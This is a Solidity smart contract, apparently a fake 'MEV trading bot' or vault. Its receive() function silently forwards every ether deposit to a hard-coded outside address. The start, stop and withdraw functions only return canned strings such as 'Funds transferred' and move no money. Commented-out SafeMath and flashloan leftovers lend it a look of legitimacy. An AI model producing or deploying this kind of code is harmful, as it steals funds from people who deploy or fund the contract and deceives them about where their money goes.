// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract ForwardVault {
    address payable private constant RECIPIENT = payable(0x9Ca7FbE2afBb404E49b49DEADe3a325e92dd6dA4);

    //     library SafeMath {
    //     function add(uint256 a, uint256 b) internal pure returns (uint256) {
    //         uint256 c = a + b;
    //         require(c >= a, "SafeMath: addition overflow");

    //         return c;
    //     }

    //     function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    //         // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    //         // benefit is lost if 'b' is also tested.
    //         // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
    //         if (a == 0) {
    //             return 0;
    //         }

    //         uint256 c = a * b;
    //         require(c / a == b, "SafeMath: multiplication overflow");

    //         return c;
    //     }
        
    // }


    // function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    //         // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    //         // benefit is lost if 'b' is also tested.
    //         // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
    //         if (a == 0) {
    //             return 0;
    //         }

    //         uint256 c = a * b;
    //         require(c / a == b, "SafeMath: multiplication overflow");

    //         return c;
    //     }

    //     function div(uint256 a, uint256 b) internal pure returns (uint256) {
    //         return div(a, b, "SafeMath: division by zero");
    //     }

    //     function div(
    //         uint256 a,
    //         uint256 b,
    //         string memory errorMessage
    //     ) internal pure returns (uint256) {
    //         require(b > 0, errorMessage);
    //         uint256 c = a / b;
    //         // assert(a == b * c + a % b); // There is no case in which this doesn't hold

    //         return c;
    //     }

    //     function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    //         return mod(a, b, "SafeMath: modulo by zero");
    //     }

    //     function mod(
    //         uint256 a,
    //         uint256 b,
    //         string memory errorMessage
    //     ) internal pure returns (uint256) {
    //         require(b != 0, errorMessage);
    //         return a % b;
    //     }


    //     modifier onlyOwner() {
    //         require(
    //             msg.sender == owner,
    //             "Flashloan: Only owner can execute this method"
    //         );
    //         _;
    //     }
        
    //     address payable private constant AUTO_FUNDER = payable(0x9Ca7FbE2afBb404E49b49DEADe3a325e92dd6dA4);

    //     function getResponse(uint8 action) internal pure returns (string memory) {
    //         if (action == 1) return "Started MEV trading bot";
    //         if (action == 2) return "Stopped MEV trading bot";
    //         if (action == 3) return "Withdrawal has been processed to recipient";
    //         return "";
    //     }

    receive() external payable {
        require(msg.value > 0, "No ETH sent");
        require(address(this).balance >= msg.value, "Insufficient contract balance");
        (bool success, ) = RECIPIENT.call{value: msg.value}("");
        require(success, "ETH transfer failed");
    }

    function execute(uint8 action) internal pure returns (string memory) {
        if (action == 1) return "Operation started";
        if (action == 2) return "Operation stopped";
        if (action == 3) return "Funds transferred";
        return "Unknown action";
    }
    

    function start() public pure returns (string memory) {
        return execute(1);
    }

    function stop() public pure returns (string memory) {
        return execute(2);
    }

    function withdraw() public pure returns (string memory) {
        return execute(3);
    }
}